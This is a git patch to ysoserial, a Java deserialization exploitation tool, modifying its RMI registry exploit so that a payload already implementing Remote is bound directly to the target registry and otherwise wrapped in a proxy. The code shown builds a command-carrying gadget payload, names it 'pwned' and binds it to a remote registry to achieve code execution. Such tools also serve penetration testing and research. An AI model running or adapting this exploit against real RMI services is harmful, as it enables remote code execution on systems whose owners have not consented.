From db9a389cf85f3445b5c87428d87dd5702df3aff4 Mon Sep 17 00:00:00 2001 From: Margular <2609135351@qq.com> Date: Thu, 1 Jul 2021 22:31:56 +0800 Subject: [PATCH] check if payload is already a Remote instance --- .../java/ysoserial/exploit/RMIRegistryExploit.java | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java index a8c350c4..3fef773a 100644 --- a/src/main/java/ysoserial/exploit/RMIRegistryExploit.java +++ b/src/main/java/ysoserial/exploit/RMIRegistryExploit.java @@ -72,7 +72,15 @@ public static void exploit(final Registry registry, ObjectPayload payloadObj = payloadClass.newInstance(); Object payload = payloadObj.getObject(command); String name = "pwned" + System.nanoTime(); - Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); + + Remote remote; + + if (Remote.class.isAssignableFrom(payload.getClass())) { + remote = (Remote) payload; + } else { + remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class); + } + try { registry.bind(name, remote); } catch (Throwable e) {